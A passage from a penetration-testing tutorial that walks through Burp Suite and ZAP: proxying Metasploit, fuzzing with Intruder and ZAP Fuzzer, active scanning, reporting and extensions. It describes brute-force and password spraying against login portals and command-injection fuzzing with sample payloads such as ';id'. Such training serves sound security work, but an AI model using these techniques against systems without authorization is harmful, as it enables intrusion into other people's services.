In msfconsole, set the proxy for modules with set PROXIES:

msfconsole
msf6 > use auxiliary/scanner/http/robots_txt
msf6 auxiliary(scanner/http/robots_txt) > set PROXIES HTTP:127.0.0.1:8080
msf6 auxiliary(scanner/http/robots_txt) > set RHOST SERVER_IP
msf6 auxiliary(scanner/http/robots_txt) > set RPORT PORT
msf6 auxiliary(scanner/http/robots_txt) > run

Requests from the module go through the proxy; check Proxy β†’ HTTP History (Burp) or History (ZAP) to inspect them. Same approach for other scanners, exploits, and modules that make HTTP requests.

Other tools and thick clients

For other tools, scripts, or GUI apps: find how to set an HTTP proxy (often an option, env var, or config file) and point it at your proxy (e.g. 127.0.0.1:8080). Then you can examine, repeat, and modify their requests from the proxy as with browser traffic.


Web fuzzers

Concept (tool-agnostic):
Built-in web fuzzers handle fuzzing, enumeration, and brute-forcing (directories, subdomains, parameters, parameter values, etc.) and can replace or complement CLI tools (e.g. ffuf, gobuster, wfuzz, dirbuster). You send a request to the fuzzer, mark one or more payload positions, choose a wordlist and options, then run the attack and inspect results (status, length, grep matches). Use for directory discovery, login brute-force, parameter fuzzing, password spraying (e.g. AD, OWA, VPN portals), and similar tasks.

Burp Intruder

Burp’s fuzzer is Intruder. Community edition is throttled (about 1 request/second); use for short wordlists. Pro has no throttle and more features. Intruder docs; payload types.

Send request to Intruder: From Proxy history (or elsewhere), right-click the request β†’ Send to Intruder, or Ctrl+I. Switch to Intruder tab: Ctrl+Shift+I. The Target box shows host/port from the request.

Positions: Define where the wordlist is inserted. Wrap the placeholder with Β§ (e.g. Β§DIRECTORYΒ§) or select text and click Add Β§. Example for directory fuzzing: GET /Β§DIRECTORYΒ§/ β€” existing paths return 200, others 404. Leave the two blank lines at the end of the request. Attack type (e.g. Sniper = one position, Cluster bomb = multiple positions) affects how many payload sets you get.

Payloads tab:

  1. Payload set & type: Choose which position (1, 2, …). Payload type: e.g. Simple list (wordlist, one line per payload), Runtime file (load wordlist line-by-line, better for huge lists), Character substitution, or others. For directory fuzzing, Simple list is typical.
  2. Payload configuration: For Simple list: Load a file (e.g. /usr/share/seclists/Discovery/Web-Content/common.txt) or Add items. You can combine multiple lists. Pro: Add from list for built-in wordlists. Tip: Very large wordlists β†’ use Runtime file to avoid loading everything into memory.
  3. Payload processing: Add rules (e.g. add suffix, Skip if matches regex). Example: skip lines starting with . using regex ^\..*$.
  4. Payload encoding: Usually leave URL-encode enabled so special characters are encoded.

Payload options (Intruder): Payload types reference.

Settings tab: Configure Grep - Match to flag responses containing a string (e.g. 200 OK). Clear existing rules, Add 200 OK, and disable Exclude HTTP headers if you want to match the status line. Grep - Extract can pull specific parts of responses. Set Number of retries / Pause before retry if needed. Resource pool (right-hand bar) controls how much network Intruder uses for large attacks.

Attack: Click Start attack. Results table: sort by the grep column (e.g. 200 OK), Status, or Length to find hits (e.g. /admin/ with 200). Use Intruder for directory fuzzing, parameter/value fuzzing, brute-force, and password spraying against AD-authenticated apps (OWA, VPN, RDS, Citrix, etc.). ZAP’s fuzzer (below) has no speed throttle.

ZAP Fuzzer

ZAP Fuzzer is ZAP’s built-in fuzzer. It has fewer features than Burp Intruder but does not throttle request speed, so it is often better than free Burp Intruder for large wordlists. Use it for directory fuzzing, parameter fuzzing, and similar attacks.

Start a fuzz: Capture a request (e.g. visit http://SERVER_IP:PORT/test/ so the path contains the placeholder). In History, right-click the request β†’ Attack β†’ Fuzz. The Fuzzer window opens with the request on the left and Fuzz Locations on the right.

Locations: Like Intruder payload positions. Select the word you want to replace (e.g. test in the path) and click Add. A green marker is placed and the Payloads configuration opens. You can add multiple locations.

Payloads: Click Add and choose a payload type. Examples:

  • File β€” load a wordlist from a file.
  • File Fuzzers β€” use built-in wordlists (e.g. dirbuster β†’ directory-list-1.0.txt). More lists available via ZAP Marketplace.
  • Numberzz β€” generate number sequences with custom step.

Processors: Optional processing for each payload. Add a processor; types include Base64 Decode/Encode, MD5, Prefix String, Postfix String, SHA-1/256/512, URL Decode/Encode, Script (custom). For directory fuzzing, add URL Encode so special characters don’t break the request. Use Generate Preview to see the final payload in context, then Add and Ok.

Options: Set Concurrent Scanning Threads per Scan (e.g. 20) for speed; balance with CPU and server load. Depth first β€” try all payloads at one position before moving to the next (e.g. all words for one user). Breadth first β€” try the first word on all positions, then the next word (e.g. one password for all users). Configure retries, max errors, redirects as needed.

Start: Click Start Fuzzer. In the results table, sort by Response code (e.g. 200) to find hits. Click a row to view request/response. Size Resp. Body can indicate different pages; RTT (round-trip time) matters for time-based attacks (e.g. time-based SQLi).


Web scanners

Concept (tool-agnostic):
Web proxy tools often include scanners that combine a crawler (follow links and forms to map the site), passive scanning (analyze already-seen traffic for issues without sending new requests), and active scanning (send probes to confirm and find vulnerabilities). Define scope (in/out of scope) so the scanner only targets allowed URLs. Use scan results and reports as supporting evidence; never substitute a raw tool report for a proper client deliverable.

Burp Scanner (Pro only)

Burp Scanner is a Pro-only feature (not in Community edition). It uses a Crawler to build the site structure and Scanner for passive and active vulnerability checks.

Target scope

  • Start a scan: (1) From Proxy β†’ HTTP History: right-click a request β†’ Scan (configure) or Passive scan / Active scan (defaults). (2) Dashboard β†’ New Scan for custom target set. (3) Use scope so only in-scope items are scanned.
  • Scope: Target β†’ Site map lists everything Burp has seen. Right-click an item β†’ Add to scope (or Remove from scope). Target β†’ Scope shows include/exclude rules; use Use advanced scope control for regex. You can restrict Burp to in-scope only to save resources. When you add the first scope item, Burp may ask whether to limit features to in-scope only.

Crawler

  • Dashboard β†’ New Scan. Two modes: Crawl (map only) or Crawl and Audit (crawl then scan). Crawler follows links and forms; it does not discover unreferenced paths (use Intruder or Content Discovery, then add to scope).
  • Scan configuration: New for custom (speed, limits, login behaviour) or Select from library (e.g. Crawl strategy - fastest). Application login: add credentials and/or record a manual login in the built-in browser so the crawler can stay authenticated. Ok to start. Progress under Dashboard β†’ Tasks; View details or the gear icon to adjust. When finished, Target β†’ Site map shows the updated map.

Passive scanner

  • Analyzes existing requests/responses only (no new requests). Flags possible issues (e.g. missing security headers, DOM XSS). Each finding has a confidence (e.g. Certain, Firm). Right-click target in Site map or a request in Proxy history β†’ Do passive scan / Passively scan this target. Task appears in Dashboard. View details β†’ Issue activity (or the Issue activity pane on Dashboard) to see findings. Prioritise High severity and Certain/Firm confidence; for sensitive apps, review all severities.

Active scanner

  • Crawl and Audit in New Scan runs: (1) Crawl + discovery (like a fuzzer) for pages, (2) Passive scan on discovered content, (3) Active checks to verify passive findings, (4) JavaScript analysis, (5) Fuzzing of parameters for XSS, command injection, SQLi, etc. Frequently updated by PortSwigger.
  • Start: right-click request β†’ Do active scan, or New Scan β†’ Crawl and Audit. Set Crawl config (as above) and Audit config: what to check, insertion points; Select from library e.g. Audit checks - critical issues only. Add login if needed. Ok to run. Progress in Dashboard β†’ Tasks; Logger tab shows requests made by the scanner. When done, filter Issue activity by severity (e.g. High) and confidence (e.g. Certain/Firm). Click an issue for the advisory, request/response, and remediation notes.

Reporting

  • Target β†’ Site map β†’ right-click the host β†’ Issue β†’ Report issues for this host. Choose export format and what to include. The report summarizes by severity/confidence and can include PoC and remediation. Use as appendix or supplementary data, not as the final client report; always produce a proper written deliverable and use tool output as support.

ZAP Scanner

ZAP includes Spider, passive scanning, and active scanning; all run in the free version. Scope defines which URLs are included in scans and can be customized for multiple sites.

Spider

  • Start: In History, right-click a request β†’ Attack β†’ Spider. Or in the HUD (pre-configured browser): open the target page, then click the second button on the right pane (Spider Start) and confirm. If the site is not in scope, ZAP may ask to add it (choose Yes). Scope is the set of URLs ZAP will crawl/scan; you can add multiple targets. Note: Some browser versions may not support the HUD fully.
  • Spider follows links and validates them (similar to Burp Crawler). Progress: HUD Spider button or main ZAP UI (often switches to the Spider tab). When finished: Sites tab in the main UI, or HUD first button on the right pane (Sites Tree) for an expandable tree of discovered URLs and directories.
  • Ajax Spider: Third button on the right pane. Discovers links loaded via JavaScript/AJAX. Run after the normal Spider for better coverage; it can find more URLs but takes longer.

Passive scanner

  • Runs automatically on every response (e.g. while Spider runs or as you browse). Identifies potential issues from source (e.g. missing security headers, DOM-based XSS). Alerts can appear before you run an Active Scan. In the HUD: left pane = alerts for the current page, right pane = all alerts for the application. In the main UI: Alerts tab lists all findings; click an alert for details and the URLs where it was seen.

Active scanner

  • Click Active Scan on the right pane (or equivalent in main UI). Scans all URLs in the site tree. If you have not run the Spider yet, ZAP runs it first to build the tree. Progress is shown in the HUD and in the main ZAP UI; alerts increase as the scan runs. The Active Scanner sends many probes against pages and parameters (XSS, command injection, SQLi, etc.) and takes longer. When done: filter by severity (e.g. High for issues that may lead to compromise). Click an alert for description, attack example, and evidence; click the URL to see the request/response and use Replay in Console or Replay in Browser to reproduce.

Reporting

  • Report β†’ Generate HTML Report (top bar). Choose save location; reports can also be exported as XML or Markdown. Open in a browser to review. Use as a log or supplement for engagements, not as the sole client deliverable.

Extensions / add-ons

Concept (tool-agnostic):
Both tools support extensions (Burp) or add-ons (ZAP) from the community. They can act on captured requests, add features (e.g. decoding, beautifying, new scan checks), or provide extra wordlists and payloads. Install only what you need; some extensions have dependencies (e.g. Jython) that must be installed on your system first.

Burp: BApp Store

  • Extender tab β†’ BApp Store sub-tab. Browse extensions; sort by Popularity. Some are Pro-only; most are available to all users.
  • Click an extension to install it. After install, a new tab or menu item may appear. Use the extension’s documentation in the BApp Store or its GitHub page for usage. Some extensions require Jython (or other runtimes) to be installed on your machine (Linux/macOS/Windows) before they can run.
  • Example: Decoder Improved β€” adds a tab with more encoders/decoders and hashing (e.g. Hash With β†’ MD5). Use like the built-in Decoder with extra options.
  • Examples of useful extensions: .NET Beautifier, J2EEScan, Software Version Reporter, Active Scan++, AWS Security Checks, Backslash Powered Scanner, Wsdler, Java Deserialization Scanner, C02 (cloud storage tester), CMS Scanner, Error Message Checks, Detect Dynamic JS, Headers Analyzer, HTML5 Auditor, PHP Object Injection Check, JavaScript Security, Retire.JS, CSP Auditor, Random IP Address Header, Autorize, CSRF Scanner, JS Link Finder. Browse the store for more.

ZAP: Marketplace

  • Click Manage Add-ons (toolbar) β†’ Marketplace tab. Add-ons can be Release (stable) or Beta/Alpha (may be unstable).
  • Install add-ons to add features or data. Example: FuzzDB Files and FuzzDB Offensive add wordlists for the ZAP Fuzzer. In the Fuzzer, choose payload type File Fuzzers β†’ e.g. fuzzdb β†’ attack β†’ os-cmd-execution (e.g. command_execution-unix.txt) for command-injection payloads. Run the fuzzer to test with many payloads (e.g. ;id, /usr/bin/id); useful when testing WAF-protected or strict applications. Try other Marketplace add-ons for scanners, scripts, and extra payloads.